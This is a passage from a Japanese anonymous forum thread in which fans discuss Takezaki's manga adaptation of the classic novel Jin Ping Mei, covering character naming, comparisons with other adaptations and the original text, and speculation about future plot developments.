ヒラヒラ可愛い金魚を愛でる=お妾さんを着飾らせて可愛がる
みたいな妄想が・・

356 :花と名無しさん:2007/11/12(月) 19:51:39 ID:???0
>瓶児
竹崎版以外では、肌の白さ滑らかさを讃えられてたりするから、白磁の肌に
ちなんでの名前なのかな。



357 :花と名無しさん:2007/11/12(月) 20:33:21 ID:???0
>352
瓶児はそれこそ「幼名」が継続してるだけだから命名に深い理由などなさげw
あ〜あの金魚鉢娘ねw〜で呼び名が決まったんだろうw



358 :花と名無しさん:2007/11/12(月) 20:36:04 ID:???0
李さん家の金魚鉢っ子ww

359 :花と名無しさん:2007/11/12(月) 20:40:43 ID:???0
(国は違うけど)籐三嬢みたいなもんだね。
でも印象深いことがあれば後から名前が付いたり変わったりするのに
瓶児のままってことはよほど幼いのかそれとも金魚鉢が偉大なのか(w

360 :花と名無しさん:2007/11/12(月) 21:00:41 ID:???0
親のつけた呼び名のまま、イコール育ちの良さかな?
男が自分の気分次第で名前をちょいちょい変えるほど、軽い扱いを受けては
いない、という。

361 :花と名無しさん:2007/11/12(月) 21:23:41 ID:???0
>>355
それが暗喩としては一番近いのかも。
金魚ってヒブナを観賞用に飼育、交配させていった愛玩物。
それこそ人のエゴで作られたものだから。

362 :花と名無しさん:2007/11/12(月) 21:40:15 ID:???0
当時は金魚を愛でるのは道楽者の贅沢だから
大きな金魚鉢(=多くの金魚)が誕生祝いで届いたってことは
瓶児が裕福な家に生まれたことを意味してる
金蓮とはことごとく対照的なのを喩してるんだろうね

363 :花と名無しさん:2007/11/12(月) 23:33:58 ID:???0
>>362
「金魚鉢の様な環境で大事に育てられ鑑賞されてきた美女」
てイメージなんでしょうか>瓶児

瓶児が元になった水滸伝には全く登場せず
金瓶梅特有のキャラクターであることを考慮すると
「貧しい環境から成り上がって主体的に生きる金蓮とは対照的な美女を」
という発想を全面に出した造型なんでしょうね。

血に溺れる様にして死んでいく原典での最期も
金魚を連想させなくはない。

364 :花と名無しさん:2007/11/12(月) 23:52:49 ID:???0
キシュツだとは思うけど

金瓶梅は水滸伝で美味しいちょい役の西門に焦点を合わせた2次創作w
題名の金瓶梅はヒロインの3女性を表すのとあわせて
男の夢であり弱点でもある
金(財産)瓶(酒)梅(色香)を暗喩している
だから命名のつじつま合わせのために妻でもない春梅の名が登場してる

365 :花と名無しさん:2007/11/13(火) 00:09:47 ID:???0
「金瓶梅」がそもそも作者の付けた原題なのかて疑問は残るけどね。

最初は「水滸異聞伝」とか「武松復仇記」とか
一見して水滸伝からの二次創作と分かる原題が付いていたけれど
同時代に同じ趣旨の二次創作本が氾濫していて
他の本と区別する為に「藩金蓮伝」とか
ヒロインにちなんだタイトルが他称されるようになり
最終的に「金瓶梅」に落ち着いた気もする。

366 :花と名無しさん:2007/11/13(火) 00:22:41 ID:???0
竹崎版の良さは原典をあまりとどめていないところにあるな

367 :花と名無しさん:2007/11/13(火) 00:22:56 ID:???0
同一小説に複数のタイトルが存在するって
中国ではよくあるからね。

例:紅楼夢=石頭記=木石縁=金陵十二【金+叉】=…

紅楼夢とは全く別個に「青楼夢」とかいう小説もあったりする。

368 :花と名無しさん:2007/11/13(火) 13:12:04 ID:???0
竹崎版が終わってから原典に手を出すつもりなんだけど
わたなべまさこさんのは忠実バージョンなのかな?
なんかの雑誌に載っていたのがかなり違っていた気がする
(絵が苦手なのでしっかり読み込んではいない)

369 :花と名無しさん:2007/11/13(火) 20:24:02 ID:???0
全然忠実じゃないよ。

370 :花と名無しさん:2007/11/13(火) 23:09:37 ID:???0
わたなべ版は絵柄もそうだけど
金蓮の台詞に「アルバイト」みたいなカタカナが出てくる演出が嫌で
入り込めなかった。

そういうのを楽しむぺきなのかもしれないけど
明らかに「原文にこんな言葉ないでしょ」と感じる単語が入っていると白ける。

371 :花と名無しさん:2007/11/13(火) 23:28:51 ID:???O
無知でやってるんじゃなく、
そういう楽屋落ち的というか、第三者視点を意識しながらのギャグの一つだと思うけど。


372 :花と名無しさん:2007/11/13(火) 23:37:42 ID:???0
わたなべ版は作者の「面白いと思うつぼ」が自分と全く違うので読めない
ちなみに「エロのつぼ」も全く違うww

373 :花と名無しさん:2007/11/13(火) 23:46:41 ID:???0
>>371
いや、無知だから使ってしまったのではなくて
笑わせるために確信犯的に入れた言葉なのは理解できるんですが
自分はそうした演出は好きでないということです。

人物の書き分けのために当時的に
ありえない髪型が出てくるのは許容できるんですが。
(竹崎版で言えば旦那様の下ろしたロングヘアは当時的にありえない)

もちろん、わたなべ版のそういう演出を好む人もいるとは思うし
そういう趣味を否定する気もありません。

374 :花と名無しさん:2007/11/14(水) 00:23:19 ID:???O
わたなべ漫画は読んだら読めるんだけど、絵が見づらくて敬遠してしまう。
木炭で描いてんのか?

375 :花と名無しさん:2007/11/14(水) 00:29:22 ID:???O
そういや竹崎キンペにはカタカナ言葉(?)出てこないね


376 :花と名無しさん:2007/11/14(水) 00:42:04 ID:???O
シリアス作品でそういう事やる人はあまりいないと思う。
時をかけた少女たちシリーズはカタカナ出てきたけど、あれは対象年令が低いからだろうし。

言いだせば切りがないよ。
「○○が不自由な人」とかさwww

377 :花と名無しさん:2007/11/14(水) 00:43:15 ID:???0
単なる「かんざし」じゃなくて「歩揺」とか
台詞の上で原語に近づけようとする努力が見えるね。

ただ、ウンカが一人称に「僕」と使っているのを金蓮が聞きとがめて
武松の前で男と偽っている真相を暴露するくだりには違和感を覚えた。
あれは現代日本語の感覚だと思う。

378 :花と名無しさん:2007/11/14(水) 01:00:22 ID:???0
まあー・・・、実際元の漢文で読んだら、ガッカリする程散文的なのに表現は
やたらにストレートって印象で、それ自体ついていけないと思うよ日本人は。
そもそも創作文書の取り扱いが違うし。日本じゃ竹取物語の昔から、作り話でも
面白ければそれはそれで楽しんできたけど、儒教のせいで向こうは真面目な
作品でもすごく軽く扱われて来たって背景もあるから、漢文物は翻訳の方が
多分断然面白い表現になってるかと。

脱線ついでに、江戸時代朱子学隆盛期に、何とか言う偉そうな学者が創作物を
書く時に
「源氏を書いた紫式部は死後地獄に落ち、水滸伝の作者羅漢中は3代不具者が
生まれたが、彼らの作品に比べ、私の書く物はたわいの無い物なので、神も
赦して下さるだろう」
てな事を前文に載せたおっさんがいる位で、日本でそれ程だったんだから
(でも現世利益の朱子学なのに地獄とか神罰が出てくるのが日本人)
ガチガチ儒教のあちらはさぞかし散々だったんじゃまいかな。
尚、かの半島はもっと超儒教なんで、創作の良いのが未だに出来ないでいる。

379 :花と名無しさん:2007/11/14(水) 20:01:36 ID:???0
竹崎キンペでは先月「私の株が上がったわ」というセリフがあったけど、
あの時代に株ってあったっけ?

380 :花と名無しさん:2007/11/14(水) 20:15:46 ID:???0
>>379
その株じゃないと思うけどね

381 :花と名無しさん:2007/11/14(水) 20:22:39 ID:???0
ウザイわ!も絶対原点にはないと思う。

わたなべ氏の漫画は金瓶梅に限らず読みにくい。
必ず最初はすっとばす。が、後で暇つぶしに読むと必ず面白い。

382 :花と名無しさん:2007/11/14(水) 21:15:57 ID:???0
>>381
「うざい=うざったい、うっとうしい」
に該当する俗語は原典が書かれた当時にもあったと思いますが。

383 :花と名無しさん:2007/11/15(木) 01:19:28 ID:???0
わたなべ版は「慎吾似のいい男」とかが判り辛い;
単行本登録された時には既に「どの慎吾だよ!?」みたいな事になってたり。
美人〜不細工の幅が狭いのもちょっと・・・
いや、竹崎版の麗人さんほどかっ飛ばしてくれなくてもいいんだけd
ぎゃー例の花が茶碗に(ry

384 :花と名無しさん:2007/11/15(木) 01:58:55 ID:???0
麗人やり方は悪かったけどかわいそうなキャラだったと思う
自分に美しさがないことを自覚してるから美しい庭を造ってせめてそっちを愛してもらおうと思ったのに馬鹿旦那のあの仕打ち
会う人あう人に化け物みたいな目で見られるし・・・
最期が自決だったのも悲しかった
あんなに綺麗な庭を造れるなら元は夢見る乙女だったのかも

385 :384:2007/11/15(木) 02:01:26 ID:???0
あっ、話を切ってしまって失礼いたしましたわ
お姉さま方どうぞごゆっくり

386 :花と名無しさん:2007/11/16(金) 03:24:44 ID:???0
偽金蓮の小玉然り
若くも美しくもない設定の女性キャラが自滅する展開で
「ざまあみろw」と感じるのはあんまりないな。

強いて言えば豚部屋に突き落とされた恵蓮くらいかな。
恵蓮はそこそこ美人の設定なんだろうけど。

387 :花と名無しさん:2007/11/16(金) 07:45:38 ID:???O
小玉は同情しなかったけど聞香はちょっと可哀相で笑えたw

388 :花と名無しさん:2007/11/16(金) 08:50:38 ID:???O
第七夫人狙った小娘はざまぁwwと思った

389 :花と名無しさん:2007/11/16(金) 08:52:37 ID:???O
あ、すまん。
>若くも美しくもない設定の女性キャラ か。

390 :花と名無しさん:2007/11/16(金) 08:59:19 ID:???0
第七夫人の季鳳は
快楽の中で死んでいったわけだから
不幸な死に方とも言えないでしょう。

父親共々車裂きにでもされて欲しいようなキャラだったけど。

391 :花と名無しさん:2007/11/16(金) 13:15:48 ID:???O
李鳳の死に方は年少故の情状酌量ではなく、
奥様方の罪を薄くするために感じたよ。
楽に殺そうが苦しめて殺そうが殺人には変わりないけど。
あの話で一番可哀相なのは職人たちだな。

392 :花と名無しさん:2007/11/16(金) 13:30:09 ID:???0
李鳳のエピソードの結末後を希望あるものに観測した。

「職人たちを処刑にしろ!処刑にするんだ!」「は、はい。」
→部下、気圧されて文書作成する
→しかし、罪状作成中に国府長官、心痛の余り倒れ急死
→部下、「ああ、良かった良かった。やってらんねえよこんな仕事」
→逮捕状は作成途中で廃棄処分
→国府長官は意識が戻らずにそのまま死に、職人たちは命拾い

393 :花と名無しさん:2007/11/16(金) 21:11:08 ID:???O
しかし親父はともかく、李凰自身は
殺人に至るような悪事はまだ犯してなかったんだよね?
それでもあの最期に納得できたのは半端ないクソガキ描写のおかげだな…

394 :花と名無しさん:2007/11/16(金) 21:44:58 ID:???0
金蓮と大奥様の二人をあからさまに敵に回して、生き残ったキャラのが少ないのでは?
蓉桂も今一歩深入りしてたらヤバかった。
逆にこの二人に気に入られると、五祥のような厚待遇を受けられるという罠。

395 :花と名無しさん:2007/11/16(金) 21:49:23 ID:???O
李鳳は作中では殺人はやってなかったけど今までもあの薬使って男食っては殺してたっぽい。
本人に殺意はないかもしれないけど旦那様を危険たらしめる人物には変わりないし
仮に奥さま方への態度が良かったとしてもいずれ淘汰されてたはず

396 :花と名無しさん:2007/11/16(金) 22:39:27 ID:???0
>>395
李鳳は一応旦那様に嫁ぐ前は処女だったのではないか
と自分は思っている。
あるいは父親と近親相姦の様な関係だったのかもしれないが
(肉体的にはともかく精神的には明らかに相姦状態にある)
血の繋がらない他人の男性と肉体関係を持ったのは
旦那様が初めてだと思う。

その方が
「輿の中から旦那様を一目見て気に入ったので嫁ぐ」
という極端な行動を考える上で自然な設定に思える
(それまでも薬を使うなり何なりして
他の男と極秘裏に関係を持っては殺していたのなら
旦那様とも正式には結婚せずイリーガルな結び付きになる気がする)。

いずれにせよあのメンタリティで
他の奥様方への態度を良くする事態はありえないだろうな。
そもそもが他人に対し下手に出る発想がない。

397 :花と名無しさん:2007/11/16(金) 23:31:23 ID:???0
>>394
五祥さんて
「秋菊が暴力的主人の家に仕えた場合の数年後」
みたいなキャラクターだよね。顔のタイプも似てる。

ちなみに大奥様の従姉と密通して子を設けた馬番と
竹山も同じタイプの顔だと思う。
どっちも「冴えない間男」だけど馬番さんの方がまともな人みたい。

398 :花と名無しさん:2007/11/16(金) 23:50:53 ID:???O
竹崎さんの漫画って、恋愛の機微は面白いと思うんだけど、恋愛の過程がよく分からないのが気になるんだよねぇ……
金瓶梅の一巻で旦那さまが、「楽しませてもらったよ(ニヤリ)」ってアレ、旦那さまの金蓮ヤり捨てフラグ完了っぽいのに、その後なんのエピソードもなく旦那さまがいきなり金蓮を迎えにくるし、
文庫グリム童話「美女VSブス」収録の金の斧銀の斧(ララという運のいい娘が出て来て領主の息子やら王子さまとウニャウニャ最後は……とかいう話)はラストシーンは『なんでコイツはここまで……もしやストーカーサイコパス?』という感じで逆の意味で怖かった。

皆はどう思いますか?
できれば「金の斧銀の斧」読んだ人の感想聞きたいなぁ。

399 :花と名無しさん:2007/11/16(金) 23:55:27 ID:???O
いやもう、李凰はあの大奥様に椅子を立たせて自分が座り、
ここに座るのは自分が相応しいと言い放った時点で西門家では死亡決定でしょうw


400 :花と名無しさん:2007/11/17(土) 00:57:19 ID:???0
大奥様の「私が西門家の正妻」ていうプライドを傷つけたら一発アウトだからな

401 :花と名無しさん:2007/11/17(土) 05:05:16 ID:???0
>>398
旦那様が金蓮をヤリ捨てする展開では
そもそも「金瓶梅」自体が成り立たなくなるし
旦那様の金蓮への思いがいい加減なものなら
金蓮が彼に思い入れる価値はない。

あの描写は旦那様の内面ではなく
「金蓮にとって決死の恋でも
旦那様にとっては割り切った遊びの可能性もある」という
金蓮の不安ややりきれなさを反映しているのだと思う。

これがその後連絡がしばらく絶えている間に
「私はもう後には引けないのよ」と焦燥に駆られる心理に繋がる。

402 :花と名無しさん:2007/11/17(土) 05:43:13 ID:???0
>>358
「金の斧銀の斧」で最後にヒロインを迎え入れてくれた幼馴染は
確か軽度の知的障害があるらしい描写になってるよね。
あれは寓話に良く出てくる聖痴愚タイプで
「愚かで貧しいがそれゆえに高貴な男や普通の人よりも
純粋に愛し続けてくれる」
というキャラクターなのだと思われる。

そういう無心で一途な愛情は通常の感覚からすると
やや不気味でそれこそ「ストーカー」的かもしれない。

でも、美貌も健康な肉体も全てを失ったヒロインに対し
彼女にご執心だったはずの高貴な男は忘れ去った様に別の女に乗り換え
町の人々は「気持ち悪い」と石を投げ付けた。

そういう他人の残酷な変心に深く傷付いた彼女からすれば
あるがままに受け入れて愛してくれる彼は正に救いの神なのだろうし
作者もあのラストに否定的なニュアンスは意図していないと思う。

403 :花と名無しさん:2007/11/17(土) 06:04:21 ID:???0
「金の斧銀の斧」の幼馴染は
「金瓶梅」で言えばそのまま蘭香を田舎で待っていた恋人に当たると思う。
「彼女が自分の下を離れても、それはそれとして受け入れて待ち続ける」
というタイプ。

一方、天喜(瓶児の元下男で金蓮を拉致監禁)みたいな真性のストーカー、サイコパスは
「彼女が自分の下を去ろうとするくらいならカタワにするか殺す」
という発想。

「自分を離れてカタワになって戻ってきた恋人を受け入れる」ことと
「自分を離れようとした恋人をカタワにして受け入れさせる」ことは
全然違うと思う。

404 :花と名無しさん:2007/11/17(土) 06:30:44 ID:???0
天喜の回で死んだ(実際は殺された)前妻の名が
一人だけ「白浪(しらなみ)」と訓読みされてる点が気になった。
中国人なんだから「はくろう」でいいのに。

405 :花と名無しさん:2007/11/17(土) 08:02:39 ID:???0
ああ、あったね。
日本の時代劇かよ、と思った記憶がある。

406 :花と名無しさん:2007/11/17(土) 12:07:53 ID:???O
お酒っぽくもあるよねw

407 :花と名無しさん:2007/11/17(土) 14:43:11 ID:???0
「拷問史」に載っている再録
自分は初めて読んだが
フウさんってスゴイ人なんだなあ・・・
なんで最近はあんなにヘタレているの

408 :花と名無しさん:2007/11/17(土) 16:32:48 ID:???0
李鳳か……懐かしい
まあ、あれだけあからさまに奥様達に無礼働いたら
ガキとはいえ自業自得って感じだな。
それにあのままほかってたら旦那様殺されてたし


409 :花と名無しさん:2007/11/17(土) 18:32:02 ID:???0
普通は実家の身分が何であれ、妾になったら正妻には
へりくだるべきなんだが、碌な躾けを受けてないガキ
だったな。

410 :花と名無しさん:2007/11/17(土) 18:54:15 ID:???0
ここで挙げられる女キャラを見ると吐月みたいにあたりさわりない「いい女」って珍しいよね
敵にも見方にもならず自分をわきまえてるというか
今回の雨霞も性格は悪くないけどひと波乱起こしてるし

411 :花と名無しさん:2007/11/17(土) 19:04:13 ID:???0
頭の回転が良いのに他人を陥れる狡猾さは無い
珍しい良い子だったよね>とげつ

412 :花と名無しさん:2007/11/17(土) 22:00:58 ID:???0
>>410
当たり障りのないいい女だとトラブルを未然に回避するので
漫画にしづらいから。
春梅が目立たないのもこのせい。

413 :花と名無しさん:2007/11/17(土) 22:18:44 ID:???0
かと言って、ダメんずにことごとく引っ掛かる不幸体質な秋菊方面の
ウザ系女なのも困るな。

414 :花と名無しさん:2007/11/17(土) 23:54:40 ID:???0
でも春梅が中心の話のほうが、秋菊中心の話より面白いしインパクトある。
特に春梅の祖母さんの話は何度見ても泣ける。
あれ見るまでは、レディコミの感動エピなんて存在しないと思ってた。

415 :花と名無しさん:2007/11/18(日) 00:06:43 ID:???0
>>414
自分も春梅と祖母の話は好き。
祖母と孫娘だから同性としての生々しい衝突もないしね。

金蓮と実母の話は主人夫婦のキャラクターや仕打ちが極端すぎて
感動よりもおどろおどろしさが先立ってしまう。
「散々男遍歴を重ねて最後に辿り付いたのがこんなジジイなの?
ブサイクだしゲスだし全然魅力ないじゃん。」
と母親の人生にも矮小な印象が生じてしまう。

416 :花と名無しさん:2007/11/18(日) 01:16:30 ID:???0
若くも美しくもない設定の女性キャラが自滅する展開で
「ざまあみろw」と感じる香具師 → 瓶ごと火にくべられて焼け死んだ女
頭悪いとか言って馬鹿にされ続けた女の子が、養女に入れて良かったと思った。
ひょんな事で再会して、可愛くなった彼女を見てみたい

417 :花と名無しさん:2007/11/18(日) 01:19:22 ID:eVBdtIKY0
そんなことより、私、旦那様の郭遊びで一ヶ月も相手にしてもらえなかった。
そんな可哀想な私を知って欲しいから、ageてみるわ。

418 :花と名無しさん:2007/11/18(日) 08:08:49 ID:???0
>>416
様子を知りたい、ていう気持ちはあるがどちらかというと再会より遠くからそっと
見守るとか街ですれ違うとかそういうシチュで逢いたいと思う。

419 :花と名無しさん:2007/11/18(日) 13:53:30 ID:???0
いいね、蜜柑のようにふっくらして年相応に可愛くなった彼女は見て
みたいと思う。あの夫婦もいい人っぽかったし。
でも、やっぱり街角で見かけるとかその程度でいいな。


420 :花と名無しさん:2007/11/18(日) 19:52:22 ID:???0
陳皮娘の銀児が養女になったのは呉服屋だから
服飾に関するくだりでちょっと出てくるのはありかもね。

銭ゲバの養母は甕の中で銀貨と一緒に熱せられて
ネズミに食いつかれているのに
大して熱がっても苦しがってもいない様に見えるのが残念。

遊郭でマネージャーみたいなことをしていた描写からして
あの養母も妓女上がりか何かで金に汚い設定なんだろうけど
本人曰く一応は「学」らしきものを持っていた点や
なぜあそこまで狂的に金銭に固執するのかが今一つ判然としない点が
消化不足と言えばそう。

421 :花と名無しさん:2007/11/18(日) 20:25:25 ID:???0
あの糞ばばあに比べたら嬌児姐さんのケチはかわいいもんだな

422 :花と名無しさん:2007/11/18(日) 21:36:00 ID:???0
嬌児姐さんはケチじゃなく、節約家なんだろうな。元々の気質もあるけど、
妾という微妙な立場だから金を信じているんだろう。
少しずつためてるのが健気でいい。一度金蓮にガメられたけど。

423 :花と名無しさん:2007/11/18(日) 21:45:14 ID:???0
この作品だと、銀子1枚で1万円位の感覚で見ればいいのかね?
変な美容薬とかの回で、薬瓶1本=銀子10枚で春梅と秋菊がビクーリしてた
シーンがあったから、現代の超ブランドコスメへのお値段ビックリ度と比べて
そんな感じかなーと思ったんだけど。


424 :花と名無しさん:2007/11/18(日) 22:03:46 ID:???0
自分は銀子一枚=現在の千円〜2千円くらいかな〜と思ってみてた
春梅・秋菊はまだ若い(というかガキ)だから美容液1本2万!って十分びっくりかとw

425 :花と名無しさん:2007/11/19(月) 08:54:54 ID:???O
でも春梅・秋菊が若いとは言え、絢爛豪華な西門家に仕えてるんだから
多少目は肥えてるのでは?

426 :花と名無しさん:2007/11/19(月) 09:15:05 ID:???0
銀子一枚以上の価格の商品は今までに
何度も目にしたかもしれないけど
偽宦官の回では化粧品の容量に対して明らかに価格が高いから
驚いていたんだと思う。

価格よりコストパフォーマンス的な面で
「これがそんなにするの!?」と驚いたのだと思う。

427 :花と名無しさん:2007/11/19(月) 12:33:35 ID:???0
コスパって値段 対 効果て意味だけどね
対 量て間違って使ってる人多いけど

428 :花と名無しさん:2007/11/19(月) 13:14:32 ID:???0
>427
コストパフォーマンスって「(ある商品への)支払いに対する満足度」って意味だから。
量の多さ(少なさ)で計ってもあながち間違いじゃないのよ。

例えば春梅達が「あんなに高いのに、こんなぽっちり」と感じたなら彼女らにはコスパの悪い商品。
…まあそれ以前に若い子は高い美容液なんか不要だから買わないだろうけどw

429 :花と名無しさん:2007/11/19(月) 17:43:34 ID:???0
つまりは、>426をあざ笑ってる>427の知ったかも間違ってる、と

430 :花と名無しさん:2007/11/19(月) 18:17:04 ID:???0
>>428
横レスだが「価格対性能比」だろ
量に対してコストパフォーマンスって言葉使うのはどうなんだろう
あくまで「性能」と「価格」を比べる言葉だし「量」に対して使うのは
漏れも違和感があるな。まあ個人差あるだろうけどね

431 :花と名無しさん:2007/11/19(月) 18:55:33 ID:???0
量が多い=お買い得=コスパがよい

432 :花と名無しさん:2007/11/19(月) 19:16:26 ID:???0
426ですが、訂正どうもありがとうございます。
定義も曖昧なまま何となく使っていました。

でも426自体も言葉足らずなのでもう少し詳しく説明すると
「偽宦官の売りつけようとする薬が
本当に効果のあるものなのだとしても
量を考えれば短期間に何度も買い足さなくてはいけないわけで
総計すれば莫大な費用になる。

命に関わる場合でもないのに
そこまでして買う価値のある商品だろうかという疑問がまず生じる。

それに、金蓮は現時点でも美肌なのだから
買った化粧品によって美肌が維持されたとしても
それが本当に薬の効果なのか彼女の体質なのかも判然としない。
そんな状況で買う物にしてはあまりにも高いではないか、という驚き。」

以上、量に対しても予想される性能に対しても疑問を持って二人は驚いたのではないか
と思います。

433 :花と名無しさん:2007/11/19(月) 19:37:33 ID:???0
ウンカが体を売った時、相手の男が金を草むらに放り投げて
それを探すハメになった場面で
ヘイジが出てきて銀子を渡してたけど、
それじゃあウンカは凄いはした金で体を売りまくってたのかな。

まあ漫画だから避妊なしでも話の都合上妊娠することなんてないけど、
あれだけ長年屋敷にいる奥様方が誰一人として
いまだに子宝に恵まれてないって…旦那様が種無しとしか…

434 :花と名無しさん:2007/11/19(月) 19:38:24 ID:???0
偽薬師とか偽宦官と言われてるけど
張は風貌からして明らかに去勢してるよね。

男性としての生き方を喪失して
女性を潜在的に敵視しているから
女性同士の嫉妬や確執を面白がってけしかけている側面もあると思う。

ちなみに私の脳内で張の声はピーターか美輪様だ。

435 :花と名無しさん:2007/11/19(月) 19:41:30 ID:???0
>>433
流刑地に指定されるような辺鄙な土地で
街娼(しかも男の装いで化粧もしていない妙な扮装)を買う様な男性に
そもそも高いお金は望めないと思う。

436 :花と名無しさん:2007/11/19(月) 19:49:45 ID:???0
銀子を気前良く払える様なお金持ちは
昔の嬌児や桂姐がいた様な高級妓楼で優雅に遊ぶから
(セックスだけが目的ではなく
美しく着飾った妓女たちの歌舞や楽器の演奏なども楽しむ)
道端で街娼を買ったりしないでしょう。

437 :花と名無しさん:2007/11/20(火) 00:10:43 ID:???0
つまり
嬌児や桂姐のいたとこ=高級ソープランド
ウンカみたいな子=場末のおっさん相手の援交
・・・位の感覚か?

すると紫雲の父親が金連に差し出した包みも現金みたいだったけど、あれ一つで
千円位だろうか。旦那様も、金蓮が気に入った歌の上手い女の子に「桃より良い物」
と言ってあげようとしてたし。

438 :花と名無しさん:2007/11/20(火) 01:11:06 ID:???0
>>437
高級ソープランドというより高級クラブだと思う。
売春はするけど歌舞などの芸も求められるし
教養が求められる部分もあるので。

439 :花と名無しさん:2007/11/20(火) 07:48:30 ID:???O
春梅に売り飛ばされた雪娥は芸事仕込まれたとあったけど
あの年になって始めるのは大変だったろうなw

440 :花と名無しさん:2007/11/20(火) 08:02:31 ID:???0
あの場合の「芸」は歌舞音曲だけではなく「房中術」の暗喩だから


441 :花と名無しさん:2007/11/20(火) 08:28:27 ID:???0
でも、雪娥てもともと踊りは上手かったんじゃなかったっけ?
原典にそんな記述があった気がする。

漫画の雪娥は長身痩躯て感じだけど
原典だと小柄で華奢て設定なんだよね。

442 :花と名無しさん:2007/11/20(火) 19:45:23 ID:???0
雪娥が踊りが出来るかは忘れたけど、腰使いが絶妙だというのは覚えてる

443 :花と名無しさん:2007/11/20(火) 20:38:20 ID:???0
>>437
ソープランドなんて言葉使うと嬌児姐さんたちが誤解されそうだからやめてくれ。
ソープなんて風俗じゃないよ。日本でいえば吉原の花魁でしょうよ。
うんかが場末のおっさん相手の援助交際ってのはバッチリあってるけど

444 :花と名無しさん:2007/11/20(火) 20:40:12 ID:???0
花魁は娼婦といっても大名の娘並に教養やたしなみあったから
高級だろうがなんだろうが体売るだけのソープと一緒にしちゃ
嬌児姐さん達に失礼ってもんだ。


445 :花と名無しさん:2007/11/21(水) 01:31:27 ID:???0
空気読まない上に、思いつきの今後の展開。スマソ・・。

金蓮は旦那様の死後、地獄を見て武松に殺されるよね。それまでの過程に
秋菊の密告は外せないと思う。多分、初恋の人に酷い事をされて、立ち直る時
金蓮と旦那様に「運命の出会い」を見て
「金蓮が裏切ったら彼女を許さない」
なんて伏線がある。金蓮は
「飼い犬に手をかまれた」
と最初は憤ると思う。

そこで、銀児も秋菊と共通する素直さがあるから
可愛らしくなった銀児は、金蓮と再会することで、恩人の苦境を知って
出来るだけの事をするだろう、と。そして
「何故秋菊は密告したか。なぜ銀児は微力ながらも、力になってくれたか」
と考える。と言う後悔と心の成長の場面があったらいいな。
とか妄想してみた。

原典の「悪事の辞典」みたいな金蓮からは想像つかないけれどw

あと金蓮は、あれでいて親子の愛情を結構大切に考えているから
大嫌いな瓶児が跡取りを産んだとは言え、いびり殺す場面が想像つかない。
1)チョットした事で「虐められた」と被害者妄想爆発
2)瓶児が旦那様との睦言の最中、もしくは金蓮の所に通う旦那様への嫉妬で
 布団が嬰児の鼻までかかっている事に気が付かず、窒息の方が想像つく。

446 :花と名無しさん:2007/11/21(水) 02:08:42 ID:???0
これだけ長期連載になると
金蓮の善い人化はどんどん進行していくだろうね
ある程度万人から好感を持つキャラでなくてはならないし。



447 :花と名無しさん:2007/11/21(水) 13:30:36 ID:???O
最近の雑誌掲載からハマりだし、さあ最初から読んでみようと単行本一巻に
手を出した人って、金蓮のあまりの別人ぶりにビビるかもw
まあ、自分のことなんだけど‥‥

448 :花と名無しさん:2007/11/21(水) 23:03:31 ID:???0
この間、馮婆が折角お膳立てしてくれたのに、瓶児の所に通わなかった時点で
「こちら亀有〜」「ゴルゴ13」の様に、100巻越えすると見た。

>>445
もしかして、可愛い銀児を見たいだけでしょw

449 :花と名無しさん:2007/11/22(木) 21:41:01 ID:???0
>>448
月刊でそれはさすがに無理でしょww
何十年も連載してる王家の紋章でさえやっと50巻超えたばかりなのに

450 :花と名無しさん:2007/11/22(木) 22:35:19 ID:???O
マジレスすれば残グリの看板だから早々終わらせる事ないんでしょう。
番外編挟みつつ引き伸ばしていくんだろうね。
クオリティ高いからそれでもいいけど。

451 :花と名無しさん:2007/11/22(木) 23:34:47 ID:???O
引き伸ばしと言われつつ、まだ単行本10巻にも満たないんだよね。

452 :花と名無しさん:2007/11/23(金) 07:09:38 ID:???0
誰も死なず、誰も傷つかず、ほのぼのした内容のハッピーエンド
って、今のところ外伝の奥様達と旦那様の和合の話だけか?

453 :花と名無しさん:2007/11/23(金) 07:26:05 ID:???0
フウさん登場の頃の外伝の「老翁三人 黄金の蓮と戯れる」も

454 :花と名無しさん:2007/11/23(金) 10:48:51 ID:???0
>>453
ハッピーかわからんが、大旦那様そっくりさんと
ボケてるフリしたばーさんの話も入るかな?

455 :花と名無しさん:2007/11/23(金) 12:21:43 ID:???0
そうでした。あれ忘れてました
あんないい話忘れるなんて失敗失敗
あれはHシーンもないし、消防にも見せられる内容だしね。
ぶっちゃけ小中学生専用の少女マンガ(りぼんとかなかよし)よりも
はるかに純愛だよね。


456 :花と名無しさん:2007/11/23(金) 12:36:33 ID:???0
>>453
それってどんな内容ですか?
外伝って単行本の書き下ろしかなにか?

457 :花と名無しさん:2007/11/23(金) 12:45:01 ID:???0
紫雲と黄雲の話も・・・まあ穏やかな方かな。
それと途中物騒だけど、金蓮のお母さんのそっくりさんが出てくる話。
そっくりさんが出る話は、本物話が超殺伐なせいか、ギャップも感じて
ホッとするラストのが多いね。

458 :花と名無しさん:2007/11/23(金) 14:03:03 ID:???0
そういえば金蓮の父親て全然存在感ないね。
金蓮の母親が他の男性と駆け落ちしたことから察するに
武大みたいなタイプだったんだろうか。

459 :花と名無しさん:2007/11/23(金) 14:08:28 ID:???O
金蓮を父の死後売り飛ばした継母は後妻なのかね?


460 :花と名無しさん:2007/11/27(火) 02:58:37 ID:???0
金蓮の親父ねぇ・・・。どの話でも全く影も空気も感じない。
2巻のはじめで継母に売られるとき
「亭主が病気で死んだ今〜(略)」
と言われたから、死んだ亭主が金連の親父さんじゃないかな?

461 :花と名無しさん:2007/11/27(火) 03:05:27 ID:???0
話それるけれど、紫雲、黄雲、小雲・・・竹崎は三国志の趙雲子龍が好きなのかな?
ある意味、孔明よりも欠点を探すのが難しいくらい、素晴らしい人格の持ち主だと思うから、気持ちは分かるがwww

462 :花と名無しさん:2007/11/27(火) 06:35:10 ID:???0
461が趙雲を好きなことはわかった。

463 :花と名無しさん:2007/11/28(水) 10:50:18 ID:???O
                        失 笑

464 :花と名無しさん:2007/11/28(水) 16:05:59 ID:???O
♂でつが月娘奥様と雪娥姐さんにほれました。
文庫も買おうかと思っているのですが、お奨めの巻はありますか

465 :花と名無しさん:2007/11/28(水) 18:34:36 ID:???0
>>464
きんも〜☆


466 :花と名無しさん:2007/11/29(木) 11:29:02 ID:???0
>>464
全部オヌヌメ

467 :花と名無しさん:2007/11/29(木) 21:56:09 ID:???0
おすすめの巻はまだ発売されてないけどやっぱ奥様方が普段とは違う自分をがんばって演出する話が面白いかと。
せつがさんの着飾った姿はせつがファンじゃなくともオオッとちょっと驚く。

今月号読んだ。今週中に金蓮と庭師がやってしまうかと思ったがまだお預けか。
瓶児さん出番無しカワイソウ。

